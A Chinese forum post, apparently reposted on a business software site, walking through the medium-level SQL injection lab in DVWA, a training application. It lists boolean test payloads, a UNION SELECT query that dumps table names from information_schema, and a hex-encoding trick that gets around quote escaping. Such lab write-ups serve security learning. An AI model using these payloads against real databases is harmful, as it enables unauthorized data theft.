ToB企服应用市场:ToB评测及商务社交产业平台

标题: dvwa-sql注入中级 [打印本页]

作者: 吴旭华 时间: 2024-11-7 00:04
标题: dvwa-sql注入中级
由于页面上只能选择相应数字查询，因此需要抓包进行注入；
首先通过语句判断是字符型还是数字型：

id=1 and 1=1--+
id=1 and 1=2--+

如图，两次返回结果不同，因此这是一个数字型注入。
然后依照流程爆出当前表列数和回显位，爆出当前数据库名字（这一步就省略了）；
接着，要利用information_schema数据库爆出当前数据库下表名，会发现报错；

id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema='dvwa'--+

错误信息：You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''dvwa'--' at line 1
说明在‘dvwa’处的单引号’被进行了转义，于是可以将dvwa转换为十六进制进行绕过，转换结果是0x64767761；
注：为什么可以用十六进制进行绕过，十六进制常量会被视作一组字节，会根据当前数据库的字符集转化为对应字符，对应上table_schema字段的格式。

id=-1 collate utf8_general_ci union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables where table_schema=0x64767761--+

乐成报出表名，剩下的按部就班的爆出即可。

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)